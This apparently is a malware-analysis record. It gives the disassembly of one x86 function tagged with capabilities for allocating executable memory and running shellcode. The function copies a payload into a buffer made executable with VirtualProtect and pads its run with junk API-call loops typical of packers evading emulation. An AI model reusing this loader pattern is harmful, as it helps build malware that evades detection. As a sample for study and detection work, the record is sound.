Function at 0x40384d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x805797
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x154c
call fcn.0040d380
push ebx
push esi
xor esi, esi
cmp dword [0x8b8838], 0x5b1
push edi
jne 0x40391c
push esi
lea eax, [esp + 0x15c]
push eax
push esi
push 0x402dc0
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x1c]
call fcn.00403bca
push esi
mov dword [esp + 0x1568], esi
call fcn.0040475f
pop ecx
call fcn.004046fd
push 0x402e6c
lea ecx, [esp + 0x10]
call fcn.00403420
lea ecx, [esp + 0xc]
call fcn.0040343c
lea ecx, [esp + 0xc]
call fcn.00403482
lea ecx, [esp + 0xc]
call fcn.0040349b
push esi
push esi
call fcn.00404a7c
push esi
call fcn.00404a4d
add esp, 0xc
push esi
call fcn.00404a36
pop ecx
push esi
call fcn.00404d54
pop ecx
push esi
call fcn.00404a36
pop ecx
call fcn.00404b0f
add dword [0x8b8838], 0x1134b
push dword [0x8b8838]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push dword [0x8b8838]
mov dword [0x8b778c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403974
inc edi
cmp edi, 0x4f6a4
jl 0x403954
xor edi, edi
cmp dword [0x8b8838], esi
jbe 0x4039cf
cmp dword [0x8b8838], 0xa8
mov eax, dword [0x8b883c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x8b778c]
mov byte [ecx + edi], al
jne 0x4039c6
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x402e80
lea eax, [esp + 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0x8b8838]
jb 0x40397e
xor edi, edi
mov eax, dword [0x8b8838]
add eax, edi
cmp eax, 0xe
jne 0x403a32
push esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
lea eax, [esp + 0xd5c]
push eax
push esi
push 0x402ef8
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402f90
push 0x403008
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc edi
cmp edi, 0x39621
jl 0x4039d1
call fcn.0040372b
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x403a4f
call fcn.00403833
inc edi
cmp edi, 0x6753f
jl 0x403a42
push 0x7b
pop edi
cmp dword [0x8b8838], 0x86
jne 0x403ab7
push esi
push esi
push esi
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0x403020
push 0x403050
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push esi
push esi
push esi
push 0x4030c4
push 0x40303c
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
lea eax, [esp + 0x95c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
dec edi
jne 0x403a5b
push 0x4030d4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x155c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret